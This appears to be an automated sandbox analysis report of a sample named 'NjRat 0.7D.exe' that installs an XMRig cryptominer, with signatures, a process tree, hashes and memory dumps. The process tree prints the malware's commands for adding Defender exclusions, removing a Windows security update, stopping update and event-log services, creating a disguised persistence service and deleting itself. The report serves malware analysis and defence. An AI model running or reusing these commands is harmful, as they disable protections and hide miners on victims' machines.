Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    10/06/2024, 16:55

General

  • Target
    NjRat 0.7D/NjRat 0.7D.exe
  • Size 16.7MB
  • Sample240610-vflwgstdra
  • SHA256 530e4c36de6488964c66d23e9b83cc7896a29fdf37c14e74948acc58d8ed46b3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 51 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D\NjRat 0.7D.exe
    "C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D\NjRat 0.7D.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Users\Admin\AppData\Local\Temp\googleupdatermaintenance.exe
      "C:\Users\Admin\AppData\Local\Temp\googleupdatermaintenance.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:224
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1348
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:60
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
            PID:1760
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:4672
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:5040
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          3⤵
          • Launches sc.exe
          PID:5100
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          3⤵
          • Launches sc.exe
          PID:3740
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          3⤵
          • Launches sc.exe
          PID:1088
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3892
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4296
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2256
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2356
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
          3⤵
          • Launches sc.exe
          PID:484
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\updater.exe" start= "auto"
          3⤵
          • Launches sc.exe
          PID:516
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop eventlog
          3⤵
          • Launches sc.exe
          PID:2316
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
          3⤵
          • Launches sc.exe
          PID:2188
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $file='C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D\NjRat 0.7D.exe';for($i=1;$i -le 600 -and (Test-Path $file -PathType leaf);$i++){Remove-Item $file;Start-Sleep -m 100}
        2⤵
        • Deletes itself
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4472
    • C:\ProgramData\Google\updater.exe
      C:\ProgramData\Google\updater.exe
      1⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4740
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1812
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:5072
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:640
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:5016
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:1096
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:4776
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:4460
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1348
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4640
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4152
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:648
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:424
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4988

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 17KB
              • SHA256 660b9a3022bcf8860939f7b644e2a1a79de2619b2b7351ebed262abcbd64697e
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_xkuok2c5.uvb.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xkuok2c5.uvb.ps1
              • Size 1B
              • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
              • MD5 SHA1 SHA512

              googleupdatermaintenance.exe

              • Path C:\Users\Admin\AppData\Local\Temp\googleupdatermaintenance.exe
              • Size 2.6MB
              • SHA256 1d423f8b1483b640d1e0d31233fa25fb0e682d48bf138904ed3c90bef10692a7
              • MD5 SHA1 SHA512 SSDEEP

              hosts

              • Path C:\Windows\system32\drivers\etc\hosts
              • Size 2KB
              • SHA256 e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e
              • MD5 SHA1 SHA512

              memory/424-284-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/424-281-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/424-282-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/424-283-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/424-280-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/424-287-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/1348-82-0x000001F943490000-0x000001F9434B2000-memory.dmp

              memory/1348-86-0x000001F943780000-0x000001F9437F6000-memory.dmp

              memory/1812-189-0x000001C856D20000-0x000001C856D2A000-memory.dmp

              memory/1812-156-0x000001C856EE0000-0x000001C856F99000-memory.dmp

              memory/1812-150-0x000001C856D00000-0x000001C856D1C000-memory.dmp

              memory/1916-0-0x0000000000400000-0x00000000014B0000-memory.dmp

              memory/4472-43-0x0000000008280000-0x00000000082CB000-memory.dmp

              memory/4472-41-0x0000000007E40000-0x0000000008190000-memory.dmp

              memory/4472-62-0x0000000009C00000-0x000000000A0FE000-memory.dmp

              memory/4472-71-0x000000000A780000-0x000000000ADF8000-memory.dmp

              memory/4472-77-0x00000000731D0000-0x00000000738BE000-memory.dmp

              memory/4472-60-0x0000000009380000-0x000000000939A000-memory.dmp

              memory/4472-59-0x0000000009660000-0x00000000096F4000-memory.dmp

              memory/4472-44-0x0000000008570000-0x00000000085E6000-memory.dmp

              memory/4472-42-0x0000000007C20000-0x0000000007C3C000-memory.dmp

              memory/4472-33-0x00000000731DE000-0x00000000731DF000-memory.dmp

              memory/4472-40-0x0000000007DC0000-0x0000000007E26000-memory.dmp

              memory/4472-39-0x0000000007C50000-0x0000000007CB6000-memory.dmp

              memory/4472-38-0x0000000007AD0000-0x0000000007AF2000-memory.dmp

              memory/4472-37-0x00000000731D0000-0x00000000738BE000-memory.dmp

              memory/4472-35-0x00000000731D0000-0x00000000738BE000-memory.dmp

              memory/4472-36-0x00000000074A0000-0x0000000007AC8000-memory.dmp

              memory/4472-34-0x0000000004A40000-0x0000000004A76000-memory.dmp

              memory/4472-61-0x00000000095F0000-0x0000000009612000-memory.dmp

              memory/4988-293-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-294-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-292-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-291-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-290-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-289-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-295-0x0000000000E00000-0x0000000000E20000-memory.dmp

              memory/4988-288-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-298-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-299-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-297-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-296-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-300-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-303-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4988-304-0x0000000140000000-0x0000000140848000-memory.dmp